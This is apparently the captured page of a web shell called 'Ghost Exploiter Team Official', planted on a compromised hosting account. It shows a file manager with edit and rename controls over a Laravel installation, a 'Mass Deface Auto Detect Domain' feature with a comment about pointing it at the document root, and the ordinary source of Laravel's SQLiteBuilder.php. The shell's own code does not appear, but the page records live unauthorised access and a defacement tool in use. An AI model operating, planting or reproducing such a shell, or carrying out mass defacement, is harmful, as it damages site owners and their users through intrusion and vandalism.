webshell
Ghost Exploiter Team Official
Mass Deface
Directory >>
/
home
/
whitjouh
/
public_html
/
core
/
vendor
/
laravel
/
framework
/
src
/
Illuminate
/
Database
/
Schema
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
+New File
Grammars
--
ren
Blueprint.php
50.414KB
edt
ren
Builder.php
16.002KB
edt
ren
ColumnDefinition.php
2.377KB
edt
ren
ForeignIdColumnDefiniti
...
1.525KB
edt
ren
ForeignKeyDefinition.php
2.007KB
edt
ren
IndexDefinition.php
0.557KB
edt
ren
MySqlBuilder.php
4.215KB
edt
ren
MySqlSchemaState.php
5.298KB
edt
ren
PostgresBuilder.php
8.604KB
edt
ren
PostgresSchemaState.php
2.566KB
edt
ren
SQLiteBuilder.php
2.947KB
edt
ren
SchemaState.php
2.685KB
edt
ren
SqlServerBuilder.php
1.787KB
edt
ren
SqliteSchemaState.php
2.719KB
edt
ren
<?php namespace Illuminate\Database\Schema; use Illuminate\Database\QueryException; use Illuminate\Support\Facades\File; class SQLiteBuilder extends Builder { /** * Create a database in the schema. * * @param string $name * @return bool */ public function createDatabase($name) { return File::put($name, '') !== false; } /** * Drop a database from the schema if the database exists. * * @param string $name * @return bool */ public function dropDatabaseIfExists($name) { return File::exists($name) ? File::delete($name) : true; } /** * Get the tables for the database. * * @return array */ public function getTables() { $withSize = false; try { $withSize = $this->connection->scalar($this->grammar->compileDbstatExists()); } catch (QueryException $e) { // } return $this->connection->getPostProcessor()->processTables( $this->connection->selectFromWriteConnection($this->grammar->compileTables($withSize)) ); } /** * Get all of the table names for the database. * * @deprecated Will be removed in a future Laravel version. * * @return array */ public function getAllTables() { return $this->connection->select( $this->grammar->compileGetAllTables() ); } /** * Get all of the view names for the database. * * @deprecated Will be removed in a future Laravel version. * * @return array */ public function getAllViews() { return $this->connection->select( $this->grammar->compileGetAllViews() ); } /** * Drop all tables from the database. * * @return void */ public function dropAllTables() { if ($this->connection->getDatabaseName() !== ':memory:') { return $this->refreshDatabaseFile(); } $this->connection->select($this->grammar->compileEnableWriteableSchema()); $this->connection->select($this->grammar->compileDropAllTables()); $this->connection->select($this->grammar->compileDisableWriteableSchema()); $this->connection->select($this->grammar->compileRebuild()); } /** * Drop all views from the database. * * @return void */ public function dropAllViews() { $this->connection->select($this->grammar->compileEnableWriteableSchema()); $this->connection->select($this->grammar->compileDropAllViews()); $this->connection->select($this->grammar->compileDisableWriteableSchema()); $this->connection->select($this->grammar->compileRebuild()); } /** * Empty the database file. * * @return void */ public function refreshDatabaseFile() { file_put_contents($this->connection->getDatabaseName(), ''); } }
<=Back
Liking